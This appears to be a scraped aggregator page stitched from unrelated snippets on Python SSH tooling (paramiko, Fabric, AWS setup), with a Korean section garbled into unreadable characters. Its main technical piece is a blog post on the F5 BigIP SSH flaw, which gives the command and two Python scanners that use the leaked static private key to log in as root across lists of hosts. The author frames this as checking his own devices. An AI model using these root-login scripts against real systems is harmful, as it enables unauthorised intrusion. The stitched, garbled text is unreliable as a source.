Netmiko introduction for network Engineers for start scripting
seen from United States
seen from Canada
seen from United Arab Emirates
seen from Brazil

seen from South Africa

seen from United States

seen from Poland
seen from Czechia
seen from South Africa

seen from Malaysia
seen from United States

seen from Czechia

seen from Malaysia

seen from Malaysia
seen from China
seen from China

seen from Poland

seen from China

seen from United States
seen from Czechia
Netmiko introduction for network Engineers for start scripting
useless day
I honestly tried to concentrate and testย sftpclient.get (or put) vsย sftpclient.open (usingย stringIO) inย pararamiko. The idea is to boostย paramikoย in threading mode because both .get and .put seems to be so slow in what they should do. But this attempt was useless due to headacheย thoughย all i was suppose to do is 20-30 lines of code.ย
[์๋ฒ][python][aws] ๊ฐ๋ฐํ๊ฒฝ ์ธํ - ์ฝ์ง๊ธฐ
์ค๋ ์คํ๋ ๋ ๊ตด์ ์ด๋๊น์ง ๋ซ์ด๋ณผ ์ ์๋๊ฐ์ ๋ํด ์์๋ณธ ์๊ฐ..-_-
๋ค์์ ์ด๋ฐ ์ฝ์ง ์๊ฐ์ ์กฐ๊ธ์ด๋ผ๋ ์ค์ด๊ณ ์ ๊ธฐ๋ก์ผ๋ก ๋จ๊ธฐ๋ ค๊ณ ํจ.ย
1. python + Django ์ธํ ์ ์ํด Mac ์ python/Django ์ค์น - 5๋ถย
http://python.org/download/
https://www.djangoproject.com/download/
ubuntu์ ๊ฒฝ์ฐย
$ sudo apt-get install python-django
$ sudo apt-get install mysql-server
$ sudo apt-get install python-mysqldb
2. DB๋ ๋ถ์ด๋ ค๋๋ฐ, ์์ ์ ํ ์คํธ์ผ์ aws ์ ubuntu image ์น์ด์ APM์ธํ ํ๊ฒ ์์ผ๋ ๊ฑฐ๊ธฐ์ ์ฐ๊ฒฐํ๋ ค๊ณ AMI snapshot ๋ง๋ค์ด์ instance ๋ณต์ , ์ดํ ย Network ์ค์ ์ผ๋ก mysql port ์คํ - 10๋ถ
http://aws.amazone.com/
3. ์ธ์คํด์ค๊ฐ 2๊ฐ ์ด์ ๋๋, ์ ์์ ํธํ๊ฒ ํ๊ธฐ ์ํด ๊ฐ๋จํ shell script/python script ์์ฑ - 1์๊ฐ?
- ์๋ my_key.pem์ aws์์ ๋ฐ๊ธ๋ฐ์ private key.ย
connect.sh
#!/bin/sh
echo "=========== usage =============="
echo " 1 : instance connect ([email protected]) "
echo " 2 : instance connect ([email protected]) "
read -p "please insert type: " num
case $num in
[1] )ย
echo "ssh -i my_key.pem [email protected]";
ssh -i my_key.pem [email protected];
break;;
[2])
echo "ssh -i my_key.pem [email protected]";
ssh -i my_key.pem [email protected];
break;;
esac
exit 0ย
connect.py
#!/usr/env/python
import os
print("=========== usage ==============")
print(" 1 : noir_game instance connect ([email protected]) ")
print(" 2 : only_for_test instance connect ([email protected]) ")
num = input("please insert type: ")
server=""
username="ubuntu"
pem="my_key.pem"
if (num == 1 or num == 2):
if (num == 1):
print("ssh -i my_key.pem [email protected]")
os.system("ssh -i my_key.pem [email protected]")
else:
print("ssh -i my_key.pem [email protected]")
server="[email protected]"
os.system("ssh -i my_key.pem [email protected]")
ย * python ์์ ssh ์ ์ํ๊ธฐ ์ํ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ค paramiko ๊ฐ ์์ด์ ๋ค์ด๋ก๋ ํ ์ค์นํ์์ผ๋, ๋ด ๋ชฉ์ ์ ์ ์ ์ - ๋ช ๋ น์ด ์คํ - ์ข ๋ฃ๊ฐ ์๋๋ผ remote shell ์ฐ๊ฒฐ ์ํ๋ฅผ ์ ์งํ๋ ๊ฒ์ด๋ฏ๋ก os.system ์ผ๋ก ๋ณ๊ฒฝ.ย
2๋ฒ์์ ์๋ ํ๋ ค๊ณ ํ๋ DB ์ธํ ์ผ๋ก ๋์์์, mysql ์๋ฒ ์ธํ ์ด ๋๋ฌ์ผ๋ pythonn package installer์ธ pip ์ค์น ๋ฐ python-mysql ์ค์น..
sudo easy_install pip
sudo pip install python_mysql
ํ๋ค๋ณด๋, Django์ Database ์ค์ ์ aws์ ssh ์ ์ ํ์ mysql์ ๋ถ์ด์ผ ํ๋๋ฐ, ๊ทธ ์ค์ ์ด ์๋นํ ์ ๋งคํ ๊ด๊ณ๋ก...
๊ทธ๋ฆฌ๊ณ , ๊ตณ์ด ๋ก์ปฌ์ ์ค์ ํ ์ด์ ๊ฐ ์๋๋ฐ...ec2 instance์ ๊ทธ๋ฅ ํ ๊ฑธ....
์ค์๊ฐ์์ผ๋ก ssh ์ ์๋ ์๊พธ ํ์ด์, AWS EC2 ์ธ์คํด์ค์ zone์ ์ฎ๊ธฐ๋ ์์ ์ ๋ค์์ ๋ฃ์ ์์ ์.ย
F5 SSH vulnerability and how to check if you are affected
Following recent [F5 SSH vulnerability disclosure](http://support.f5.com/kb/en-us/solutions/public/13000/600/sol13600.html), I was forced to quickly identify which of my devices are actually vulnerable and need patching. I started looking at my options and it turned out that easiest way to find out which boxes need some loving was to try exploiting them. It took me just a moment to locate dodgy private SSH key on BigIP's filesystem. Once I had that I was able to login to hundreds of boxes as root without providing any password. Huh, F5 - what a fail... This is probably one of the biggest and easiest to exploit vulnerability I have ever seen. Anyway, this is an example command that I have used to "exploit" the box: $ ssh -i PATH_TO_PRIVATE_KEY root@HOST If you try it against loadbalancer with IP of 7.7.7.7, you will get output similar to this: $ ssh -i ~/.ssh/f5_idsa [email protected] Warning: Permanently added '7.7.7.7' (RSA) to the list of known hosts. Last login: Wed Jun 20 10:41:53 2012 from 5.5.5.5 [root@lb1:Active] config # O.K. so now next logic step was to automate the checks to some extent. Quickest way I could have thought of was to execute "exit" command with some random, non-common exit code like 50. Once executed, I could check the return value and if it was indeed 50 it meant that SSH process succesfully logged in or the "exploitation" failed if return code was different. [skrobul@atol ~]$ ssh -qi ~/.ssh/f5_idsa [email protected] "exit 50" [skrobul@atol ~]$ echo $? 50 [skrobul@atol ~]$ # Connecting to SSH through HTTP proxy in Python It is good and quick way to test, but how do you know what actually happened when error code is different than 50? The OpenSSH client will return 255 in case anything goes wrong, be it connection timeout, connection refused or anything else. I need better level of granularity so I started looking at more sophisticated options. My [programming language](http://python.org) of choice has pretty good [SSH library](http://www.lag.net/paramiko/) that is widely used and documented well. Despite having written all previous scripts with [pexpect](http://www.noah.org/wiki/pexpect) I've decided to give it a shot. I came up with following script that is able to scan individual IPs or
#!/usr/bin/python2 import paramiko import sys import os import argparse #paramiko.common.logging.basicConfig(level=paramiko.common.DEBUG) def scan(ip, privatekey=os.path.expanduser("~/.ssh/f5_idsa")): ssh = paramiko.SSHClient() mykey = paramiko.RSAKey.from_private_key_file(privatekey, password="") ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: ssh.connect(ip, username='root', pkey=mykey, timeout=3) stdin, stdout, stderr = ssh.exec_command("ls /shared/") ret = True except paramiko.PasswordRequiredException: ret = False finally: ssh.close() del ssh return ret if __name__ == '__main__': parser = argparse.ArgumentParser() grp = parser.add_mutually_exclusive_group(required=True) grp.add_argument("-f", dest="filename") grp.add_argument("-i", dest="ip") args = parser.parse_args() if args.ip: print scan(args.ip) if args.filename: for ip in open(args.filename).readlines(): ip = ip.rstrip() try: if scan(ip) == True: print "%s is vulnerable" % ip else: print "%s is patched" % ip except Exception, e: print "%s failed with following exception: %s" % (ip, e) continue
Above script is relatively simple and does the job most of the time. Unfortunately as soon as I tried to use it out of my lab I hit huge roadblock. I completely forgot that all of my production devices are accessible only from dedicated management network and in order to access them I have to go through specific proxy server / jump host. Obviously, this is much more secure than having door wide open but is pain in the ass for executing scripts like above. Now to solve this problem I had few options: * Find a server that is connected directly to the management network and upload scripts there. This is most difficult option (if possible at all) for me so I decided against it. Also, it would be really uncomfortable to transfer scripts back and forth every time I wanted to make a tiny change. * Open SSH session to the jump server and enable dynamic forwarding. If you do that, your localhost becoms full-blown SOCKS proxy. Now if you combine this with little tool called "tsocks", you can transparently execute any command as if you were logged into the jump server. In theory all connections get transparently proxied through your SSH tunnel and jump server will make connection on behalf of the client. Except, it doesn't always work. I learned this hard way - I was able to reach about 800 boxes and then tsocks would just hang for hours and the only solution was to manually kill the process. I played a bit with strace to try to identify the problem but got nowhere. * I remembered that mentioned jump host has a HTTP proxy feature enabled. I believe it's just standard configuration of [Squid Proxy](http://squid-cache.org) with CONNECT method enabled. In fact this is how I normally login to the loadbalancers. There is a little tool called [connect-proxy](http://aur.archlinux.org/packages.php?ID=45592) that allows to use HTTP proxy with OpenSSH through ProxyCommand configuration. It's awesome, works perfectly and requires almost no configuration. All you need to do is add relevant ProxyCommand to your ~/.ssh_config file:
[skrobul@atol ~]$ cat ~/.ssh/config ForwardAgent yes TCPKeepalive yes ServerAliveInterval 5 Host 192.168.* ProxyCommand none Host * ProxyCommand /usr/bin/connect -H jump.host.company.com:3128 %h %p [skrobul@atol ~]$
This configuration allows me to execute my "simple" scans as described above, but it still leaves me with incomplete information - all I know is that device is definitely vulnerable or in unknown status. In fact, that information is not very useful because I want to know that particular devices is definitely NOT vulnerable before I can sleep well. In other words - I need to find a way to modify my miniscanner to go through HTTP proxy because TSOCS option is very unreliable. I jumped on google and found out that paramiko does not support proxies, however there is an extension named [paraproxy](http://pypi.python.org/pypi/paraproxy) that enables proxy functionality. While documentation is not very extensive I was able to successfully add it to my project. All I needed to do was to add "import paraproxy" to the top of my file and it should work:
#!/usr/bin/python2 import paramiko import paraproxy import sys import os import argparse [...]
Unfortunately, it didn't work. The module is loaded and used but for some reason, even though debugging says that ProxyCommand is being used, the packets still leave my computer directly without going through proxy. I have reported the problem to paraproxy author, Renรฉ Kรถcher and we are trying to identify what the exact problem is. So far, I've been able to get it working by forcing the module into "command chaining" mode but it's not good long-term solution. Debugging paraproxy sounds like fun, but given the severity of this vulnerability I had to come up with something else quickly. Finally, I decided to use good old pexpect to do the job. Given the fact that my configuration of OpenSSH works well with HTTP proxy already, all I needed was just to improve my "simple" scanner. I came up with following code:
#!/usr/bin/python2 import sys import os import argparse import pexpect #paramiko.common.logging.basicConfig(level=paramiko.common.DEBUG) def scan(ip, privatekey=os.path.expanduser("~/.ssh/f5_idsa")): "Returns true if vulnerable" p = pexpect.spawn("ssh -q -i %s -l root %s \"exit 50\"" % (privatekey, ip) ) # p.logfile_read = sys.stdout i = p.expect(["assword: ", "refused", pexpect.TIMEOUT, pexpect.EOF], timeout=6) p.close() if p.exitstatus == 50: return True else: if i == 0: return False elif i == 1: raise Exception, "Connection refused" elif i == 2: raise Exception, "Timed out" if __name__ == '__main__': parser = argparse.ArgumentParser() grp = parser.add_mutually_exclusive_group(required=True) grp.add_argument("-f", dest="filename") grp.add_argument("-i", dest="ip") args = parser.parse_args() if args.ip: print scan(args.ip) if args.filename: for ip in open(args.filename).readlines(): ip = ip.rstrip() try: if scan(ip) == True: print "%s is vulnerable" % ip else: print "%s is patched" % ip except Exception, e: print "%s failed with following exception: %s" % (ip, e) continue
While it's not most elegant solution, it works and gives me some breathing space to play around with paramiko and paraproxy.
A fork of the Fabric tool with some nice enhancements like:
parallel execution of tasks
decorators
tasks' contexts
a remote shell
configuration file and better environment variables
...
I'm looking at how to launch jobs in remote hosts from Django. As I don't want to block until the job is completed, the best thing to do is to create an asynchronous task with Celery and then start the remote job with Paramiko or Fabric. I have found this link where the author explains how to do it with Fabric:
from fabric.api import * @task def update(): Random.atfork() env.host_string = '[email protected]' env.disable_known_hosts = True run('ls')
Also check cloudpool or cloudcontrol: it seems they do something very similar...